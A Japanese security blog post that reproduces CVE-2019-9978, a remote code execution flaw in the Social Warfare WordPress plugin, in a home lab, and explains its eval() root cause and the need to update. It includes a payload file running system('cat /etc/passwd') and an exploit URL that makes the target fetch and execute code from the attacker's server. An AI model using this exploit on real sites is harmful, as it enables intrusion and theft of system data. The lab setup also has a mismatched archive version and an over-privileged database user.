Armoris日記 CVE-2019-9978編

このブログは、数年前にN高等学校を卒業し株式会社 Armoris にやってきたアルバイト Kaepi が書いています。

あるもりすぶろぐの内容は個人の意見です。

CVE-2019-9978の検証

今回は少し古めですがCVE-2019-9978の検証をしていきます。

検証には自身で管理する環境を使用し、自己責任でお願いします

CVE-2019-9978はSocial Warfareという記事にSNSへ共有するためのボタンを追加するWordPressプラグインでRCEが可能になる脆弱性になります。 これを利用することで攻撃者は任意のコマンドをWordPressをホストしているサーバーで実行することができるようになります。

脆弱性情報 : NVD 当該プラグイン : Social Warfare

影響を受けるバージョン : 3.5.2以下

検証環境

検証に使用した環境と各種バージョンは以下のとおりです。

Name Version
UbuntuServer 20.04
WordPress 5.8
Social Warfare 3.5.2

まずはVirtual BoxでUbuntu Serverを2つ用意します。 この時、設定からネットワークのアダプター2のネットワークアダプターを有効化にチェックを入れ、割り当てをホストオンリーアダプターに設定します。

環境構築

WordPress側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
$ sudo cp /etc/apache2/apache2.conf /etc/apache2/apache2.conf.original
$ sudo vim /etc/apache2/apache2.conf

/etc/apache2/apache2.conf

<Directory /var/www/html/wordpress>
        AllowOverride All
</Directory>
  • Apache2を再起動
$ sudo a2enmod rewrite
$ sudo systemctl restart apache2
  • mysqlのインストール
$ sudo apt install -y mysql-server
$ sudo mysql_secure_installation
  • データベースとユーザーの作成
$ mysql -u root -p
mysql> CREATE DATABASE wordpress DEFAULT CHARACTER SET utf8 COLLATE utf8_unicode_ci;
mysql> CREATE USER wp@localhost identified with mysql_native_password by 'password'; 
mysql> grant all on *.* to wp@localhost; 
  • phpのインストール
$ sudo apt install -y php libapache2-mod-php php-mysql
  • WordPressのインストール
    インストール作業は/tmpで行います。
$ wget https://ja.wordpress.org/wordpress-5.8-ja.tar.gz
$ tar -zxvf wordpress-5.7.2-ja.tar.gz
$ mv wordpress /var/www/html/wordpress
$ wget https://downloads.wordpress.org/plugin/social-warfare.3.5.2.zip
$ unzip social-warfare.3.5.2.zip
$ mv social-warfare /var/www/html/wordpress/wp-content/plugins

Apache2側の構築

  • Apache2のインストール
$ sudo apt install -y apache2
  • 対象のサーバーで実行するコマンドを用意する
$ vim /var/www/html/payload.txt 
<pre>system('cat /etc/passwd')</pre>
  • system()の引数に任意の実行したいコマンドを入れる

    検証

    http://ターゲットのwordpressサイト/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://用意したサーバーのIPアドレス/payload.txtにアクセスする。

実行した結果

f:id:Armoris:20210819152606p:plain
CVE-2019-9978

脆弱性の原因

この脆弱性はユーザーから受け取ったデータを何の検査もせずにeval()に渡したことが原因です。

/**
 * Migrates options from $_GET['swp_url'] to the current site.
 *
 * @since 3.4.2
 */
if ( true == SWP_Utility::debug('load_options') ) {
    if (!is_admin()) {
        wp_die('You do not have authorization to view this page.');
    }
 
    $options = file_get_contents($_GET['swp_url'] . '?swp_debug=get_user_options');
$options = str_replace('<pre>', '', $options);
$cutoff = strpos($options, '</pre>');
$options = substr($options, 0, $cutoff);
 
$array = 'return ' . $options . ';';
 
try {
    $fetched_options = eval( $array );
}

phpのeval()は渡された文字列をPHPコードとして実行する関数なので、対策をしないと任意のコードを実行することができるようになってしまいます。

このような攻撃から守るために、プラグインのアップデート情報に注意し、アップデートがある場合は検証などを行った上で、速やかに更新するようにしましょう。

参考 wordfence
PoC github